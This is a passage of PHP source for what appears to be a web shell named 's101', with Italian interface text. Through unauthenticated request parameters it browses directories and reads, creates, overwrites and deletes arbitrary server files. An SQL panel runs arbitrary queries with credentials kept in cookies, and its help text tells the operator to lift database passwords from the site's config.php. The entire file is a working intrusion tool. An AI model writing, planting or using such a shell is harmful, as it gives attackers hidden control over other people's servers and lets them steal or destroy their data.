";
$dir=$_GET["dir"];
if($dir != ""){
$dir=$dir;
}else{
$dir=".";
}
$se= $_SERVER['PHP_SELF'];
switch($azione){
case "leggi":
$mod = $_GET["mod"];
$file = $_GET["file"];
if($mod == "1"){
$file = $file;
echo "
";
echo "File Modificato con successo
";
}else{
echo "";
$file = $dir . "/" . $file;
}
$peso= filesize($file);
$f = fopen($file, 'r');
$contenuto = fread($f , filesize($file));
$contenuto = htmlspecialchars($contenuto);
$im = imagecreatetruecolor(1000,7000);
$bg = imagecolorallocate($im,87,162,193);
$rec = imagecolorallocate($im,87,162,193);
$col = imagecolorallocate($im,0,0,0);
$bg2 = imagecolorallocate($im,87,162,193);
imagefill($im,0,0,$bg);
imagerectangle($im,10,10,190,190,$rec);
imagefill($im,11,11,$bg2);
$li = 1;
$y = 2;
while($li <= 1000){
imagestring($im,2,900,$y,"$li",$col);
$li++;
$y += 16;
}
imagepng($im,"immagine.png");
echo "
";
imagedestroy($im);
break;
case "crea":
echo "
Crea un file in questa directory: $dir
Nome(ed estensione):
";
break;
case "make":
$nuovocont = stripslashes($_POST['contenuto']);
$file = $_POST["nome"];
if($dir == "."){
$file = $file;
}else{
$file = $dir . "/" . $file;
}
if(!file_exists($file)){
$f = fopen($file, 'a');
fwrite($f, $nuovocont);
fclose($f);
$location= "$se?dir=$dir";
header("Location: $location");
}else{
echo "il file esiste gia. Cambia nome!";
}
break;
case "edita":
$nuovocont = stripslashes($_POST['contenuto']);
$file = $_GET["file"];
$f = fopen($file, 'w+');
fwrite($f, $nuovocont);
fclose($f);
$location= "$se?dir=$dir&azione=leggi&file=$file&mod=1";
header("Location: $location");
echo "fatto";
break;
case "cartella":
$cartella = $_POST['nome'];
$cartella = $dir . "/" . $cartella;
mkdir($cartella);
$location= "$se?dir=$dir";
header("Location: $location");
break;
case "cancella":
if(file_exists($file)){
unlink($file);
$location= "$se?dir=$dir";
header("Location: $location");
}else{
echo "Il file non esite";
}
break;
//-----------------------------------------------------------------------------------------------------------SQL
case "sql":
$in=$_GET["in"];
$sezione=$_GET["sez"];
if(isset($host)){
$hostname=$HTTP_COOKIE_VARS["host"];
$user=$HTTP_COOKIE_VARS["user"];
$pass=$HTTP_COOKIE_VARS["pass"];
$dbase=$HTTP_COOKIE_VARS["dbase"];
$connection = mysql_connect("$hostname" , "$user" , "$pass");
$db = mysql_select_db($dbase , $connection);
}
switch($sezione){
case "logga":
$hostname=$_POST["host"];
$user=$_POST["user"];
$pass=$_POST["pass"];
$dbase=$_POST["dbase"];
setcookie ("host",$hostname,time()+2592000,"/");
setcookie ("user",$user,time()+2592000,"/");
setcookie ("pass",$pass,time()+2592000,"/");
setcookie ("dbase",$dbase,time()+2592000,"/");
$location= "$se?azione=sql&in=si&sez=home";
header("Location: $location");
break;
case "home":
echo "";
echo "Elenco tabelle presenti nel DataBase
";
$q="show tables";
$result= mysql_query($q, $connection) or die ("Errore: " . mysql_error());
while ($rows = mysql_fetch_array($result)) {
echo "
" . $rows[0] . " ";
}
echo "
";
break;
case "tabella":
$tab = $_GET["tab"];
$nomecheck = "0";
echo "";
echo "Elenco campi presenti nella Tabella: $tab ";
$q="Show columns from $tab";
$result= mysql_query($q, $connection) or die ("Errore: " . mysql_error());
echo "
";
while ($rows = mysql_fetch_array($result))
{
$nomecheck++;
echo " ". $rows[0] . " ";
}
echo " ";
echo " ";
echo " ";
echo "";
break;
case "campo":
echo "";
echo "Elenco tabelle presenti nel DataBase
";
$tab = $_POST["tab"];
$campo = $_POST["campo"];
echo "
";
foreach($campo as $value){
echo "
";
echo "
$value
";
$q="select $value from $tab";
$result= mysql_query($q, $connection) or die ("Errore: " . mysql_error());
while ($row = mysql_fetch_array($result)) {
$valore = $row["$value"];
echo "
";
echo "$valore ";
echo "
";//
}
echo "
";//kiude row
}
echo "
";//kiude block
echo "
";//kiude tutto
break;
case "esegui":
$query=$_POST["query"];
$q="$query";
mysql_query($q, $connection) or die ("Attenzione! La query: \"$query\" non ? stata eseguita per il seguente errore: " . mysql_error());
echo "query eseguita con successo
";
break;
case "slogga":
setcookie("host");
$location= "$se?azione=sql";
header("Location: $location");
break;
default:
echo "
Pannello di controllo SQL v 0.1
Da qui puoi gestire il database sql senza molti problemi.
L'host ? quasi sempre localhost ma controlla il cofing.
Per ottenre l'username e la password trova il file config.php o simile che contiene le password.
in Altervista il database ? \"my_nomeuser\" per tutti gli altri host il database lo torvi nel config.
Host:
Username:
Password:
Database
";
break;
}
$in=$_GET["in"];
if($in == "si"){
echo"
";
echo "";
}
break;
//-----------------------------------------------------------------------------------------------------FINE SQL
default :
echo "s101 Interamente creata da Sora101. Siete liberi di modificarla ma vi prego di tenere i crediti.
";
echo "";
echo " ";
$col = 0;
echo "";
echo "
";
if ($handle = opendir("$dir")) {
while (($file = readdir($handle)) !== false) {
$check= ".";
$cartelcheck = strpos($file, $check);
if($col < 10){
if($file == "." || $file == ".."){continue;}
echo "
";
if($cartelcheck === FALSE){
echo "
$file ";
}else{
echo "
$file ";
}
echo "
";
$col++;
}else{
echo "
";
echo "
";
$col = 0;
}
}
echo "
";
closedir($handle);
}
echo "
";
break;
}
echo "";
?>